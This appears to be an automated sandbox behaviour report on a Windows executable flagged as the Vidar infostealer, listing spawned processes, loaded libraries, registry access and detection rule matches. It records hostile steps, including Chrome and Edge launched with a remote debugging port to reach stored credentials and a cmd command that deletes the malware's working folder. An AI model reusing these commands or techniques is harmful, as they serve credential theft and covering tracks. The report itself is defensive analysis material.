Source: aD7D9fkpII.exe, 00000002.00000000.2048948262.00000000008D9000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameRpcPing.exej% vs aD7D9fkpII.exe
Source: aD7D9fkpII.exe, 00000004.00000000.2049738316.00000000008D9000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameRpcPing.exej% vs aD7D9fkpII.exe
Source: aD7D9fkpII.exe, 00000005.00000002.2772309612.00000000008D9000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameRpcPing.exej% vs aD7D9fkpII.exe
Source: aD7D9fkpII.exe, 00000005.00000002.2777956578.0000000004A12000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd.Exe.MUIj% vs aD7D9fkpII.exe
Source: aD7D9fkpII.exe	Binary or memory string: OriginalFilenameRpcPing.exej% vs aD7D9fkpII.exe

Source: aD7D9fkpII.exe

Static PE information: EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE, 32BIT_MACHINE

Source: 5.2.aD7D9fkpII.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: infostealer_win_vidar_strings_nov23 author = Sekoia.io, description = Finds Vidar samples based on the specific strings, creation_date = 2023-11-10, classification = TLP:CLEAR, version = 1.0, reference = https://twitter.com/crep1x/status/1722652451319202242, id = b2c17627-f9b8-4401-b657-1cce560edc76
Source: 5.2.aD7D9fkpII.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: infostealer_win_vidar_strings_nov23 author = Sekoia.io, description = Finds Vidar samples based on the specific strings, creation_date = 2023-11-10, classification = TLP:CLEAR, version = 1.0, reference = https://twitter.com/crep1x/status/1722652451319202242, id = b2c17627-f9b8-4401-b657-1cce560edc76
Source: 00000005.00000002.2770513290.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: infostealer_win_vidar_strings_nov23 author = Sekoia.io, description = Finds Vidar samples based on the specific strings, creation_date = 2023-11-10, classification = TLP:CLEAR, version = 1.0, reference = https://twitter.com/crep1x/status/1722652451319202242, id = b2c17627-f9b8-4401-b657-1cce560edc76

Source: aD7D9fkpII.exe

Static PE information: Section: .bss ZLIB complexity 1.0003784602076125

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@76/282@24/20

Source: C:\Users\user\Desktop\aD7D9fkpII.exe

Code function: 5_2_00412050 CreateToolhelp32Snapshot,Process32First,Process32Next,TerminateProcess,

5_2_00412050

Source: C:\Users\user\Desktop\aD7D9fkpII.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\HK8O7K70.htm

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:348:120:WilError_03
Source: C:\Windows\SysWOW64\WerFault.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess6408
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7388:120:WilError_03

Source: C:\Windows\SysWOW64\WerFault.exe

File created: C:\ProgramData\Microsoft\Windows\WER\Temp\4b1511d8-17d1-4a89-a59c-e254308c8f98

Jump to behavior

Source: aD7D9fkpII.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\aD7D9fkpII.exe

File read: C:\$Recycle.Bin\S-1-5-21-2246122658-3693405117-2476756634-1003\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\aD7D9fkpII.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: chrome.exe, 0000000B.00000002.2324211904.00001E9000553000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE psl_extensions (domain VARCHAR NOT NULL, UNIQUE (domain));
Source: 4W4EKNGVA.5.dr, D2NGDB16F.5.dr	Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: aD7D9fkpII.exe	Virustotal: Detection: 56%
Source: aD7D9fkpII.exe	ReversingLabs: Detection: 71%

Source: C:\Users\user\Desktop\aD7D9fkpII.exe

File read: C:\Users\user\Desktop\aD7D9fkpII.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\aD7D9fkpII.exe "C:\Users\user\Desktop\aD7D9fkpII.exe"
Source: C:\Users\user\Desktop\aD7D9fkpII.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\aD7D9fkpII.exe	Process created: C:\Users\user\Desktop\aD7D9fkpII.exe "C:\Users\user\Desktop\aD7D9fkpII.exe"
Source: C:\Users\user\Desktop\aD7D9fkpII.exe	Process created: C:\Users\user\Desktop\aD7D9fkpII.exe "C:\Users\user\Desktop\aD7D9fkpII.exe"
Source: C:\Users\user\Desktop\aD7D9fkpII.exe	Process created: C:\Users\user\Desktop\aD7D9fkpII.exe "C:\Users\user\Desktop\aD7D9fkpII.exe"
Source: C:\Users\user\Desktop\aD7D9fkpII.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 6408 -s 372
Source: C:\Users\user\Desktop\aD7D9fkpII.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9223 --profile-directory="Default"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2392 --field-trial-handle=2304,i,13937775269766581777,3924065134902446641,262144 /prefetch:8
Source: C:\Users\user\Desktop\aD7D9fkpII.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9223 --profile-directory="Default"
Source: unknown	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9223 --profile-directory=Default --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2704 --field-trial-handle=2636,i,10720928867294864621,14474913477084532862,262144 /prefetch:3
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2156 --field-trial-handle=2124,i,17907551235246420035,16935429163833777043,262144 /prefetch:3
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=6544 --field-trial-handle=2124,i,17907551235246420035,16935429163833777043,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=6728 --field-trial-handle=2124,i,17907551235246420035,16935429163833777043,262144 /prefetch:8
Source: C:\Users\user\Desktop\aD7D9fkpII.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c timeout /t 10 & rd /s /q "C:\ProgramData\TRQ9ZCBA1N7Q" & exit
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\timeout.exe timeout /t 10
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=6640 --field-trial-handle=2124,i,17907551235246420035,16935429163833777043,262144 /prefetch:8
Source: C:\Users\user\Desktop\aD7D9fkpII.exe	Process created: C:\Users\user\Desktop\aD7D9fkpII.exe "C:\Users\user\Desktop\aD7D9fkpII.exe"	Jump to behavior
Source: C:\Users\user\Desktop\aD7D9fkpII.exe	Process created: C:\Users\user\Desktop\aD7D9fkpII.exe "C:\Users\user\Desktop\aD7D9fkpII.exe"	Jump to behavior
Source: C:\Users\user\Desktop\aD7D9fkpII.exe	Process created: C:\Users\user\Desktop\aD7D9fkpII.exe "C:\Users\user\Desktop\aD7D9fkpII.exe"	Jump to behavior
Source: C:\Users\user\Desktop\aD7D9fkpII.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9223 --profile-directory="Default"	Jump to behavior
Source: C:\Users\user\Desktop\aD7D9fkpII.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9223 --profile-directory="Default"	Jump to behavior
Source: C:\Users\user\Desktop\aD7D9fkpII.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c timeout /t 10 & rd /s /q "C:\ProgramData\TRQ9ZCBA1N7Q" & exit	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2392 --field-trial-handle=2304,i,13937775269766581777,3924065134902446641,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2704 --field-trial-handle=2636,i,10720928867294864621,14474913477084532862,262144 /prefetch:3	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2156 --field-trial-handle=2124,i,17907551235246420035,16935429163833777043,262144 /prefetch:3
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=6544 --field-trial-handle=2124,i,17907551235246420035,16935429163833777043,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=6728 --field-trial-handle=2124,i,17907551235246420035,16935429163833777043,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=6640 --field-trial-handle=2124,i,17907551235246420035,16935429163833777043,262144 /prefetch:8
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\timeout.exe timeout /t 10

Source: C:\Users\user\Desktop\aD7D9fkpII.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\aD7D9fkpII.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\aD7D9fkpII.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\aD7D9fkpII.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\Desktop\aD7D9fkpII.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\aD7D9fkpII.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\aD7D9fkpII.exe	Section loaded: dbghelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\aD7D9fkpII.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\aD7D9fkpII.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\aD7D9fkpII.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\aD7D9fkpII.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\aD7D9fkpII.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\aD7D9fkpII.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\aD7D9fkpII.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\aD7D9fkpII.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\aD7D9fkpII.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\aD7D9fkpII.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\aD7D9fkpII.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\aD7D9fkpII.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\aD7D9fkpII.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\aD7D9fkpII.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\aD7D9fkpII.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\aD7D9fkpII.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\aD7D9fkpII.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\aD7D9fkpII.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\aD7D9fkpII.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\aD7D9fkpII.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\aD7D9fkpII.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\aD7D9fkpII.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\aD7D9fkpII.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\aD7D9fkpII.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\aD7D9fkpII.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\aD7D9fkpII.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\aD7D9fkpII.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\aD7D9fkpII.exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Users\user\Desktop\aD7D9fkpII.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\aD7D9fkpII.exe	Section loaded: windows.fileexplorer.common.dll	Jump to behavior
Source: C:\Users\user\Desktop\aD7D9fkpII.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\aD7D9fkpII.exe	Section loaded: ntshrui.dll	Jump to behavior
Source: C:\Users\user\Desktop\aD7D9fkpII.exe	Section loaded: cscapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\aD7D9fkpII.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\aD7D9fkpII.exe	Section loaded: linkinfo.dll	Jump to behavior
Source: C:\Users\user\Desktop\aD7D9fkpII.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\aD7D9fkpII.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\aD7D9fkpII.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\aD7D9fkpII.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\aD7D9fkpII.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\aD7D9fkpII.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\aD7D9fkpII.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\aD7D9fkpII.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\aD7D9fkpII.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\aD7D9fkpII.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Users\user\Desktop\aD7D9fkpII.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\aD7D9fkpII.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\SysWOW64\timeout.exe	Section loaded: version.dll

Source: C:\Users\user\Desktop\aD7D9fkpII.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{057EEE47-2572-4AA1-88D7-60CE2149E33C}\InProcServer32

Jump to behavior

Source: Google Drive.lnk.11.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: YouTube.lnk.11.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Sheets.lnk.11.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Gmail.lnk.11.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Slides.lnk.11.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Docs.lnk.11.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: aD7D9fkpII.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_ISOLATION, TERMINAL_SERVER_AWARE

Source: aD7D9fkpII.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IMPORT is in: .rdata
Source: aD7D9fkpII.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_RESOURCE is in: .rsrc
Source: aD7D9fkpII.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_BASERELOC is in: .reloc
Source: aD7D9fkpII.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG is in: .rdata
Source: aD7D9fkpII.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IAT is in: .rdata

Source: C:\Users\user\Desktop\aD7D9fkpII.exe	Code function: 0_2_00884303 push ecx; ret		0_2_00884316
Source: C:\Users\user\Desktop\aD7D9fkpII.exe	Code function: 2_2_00884303 push ecx; ret		2_2_00884316

Boot Survival

Monitors registry run keys for changes

Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Registry key monitored: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

Jump to behavior

Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk	Jump to behavior

Source: C:\Users\user\Desktop\aD7D9fkpII.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\AutoUpdate			Jump to behavior
Source: C:\Users\user\Desktop\aD7D9fkpII.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot			Jump to behavior

Source: C:\Users\user\Desktop\aD7D9fkpII.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
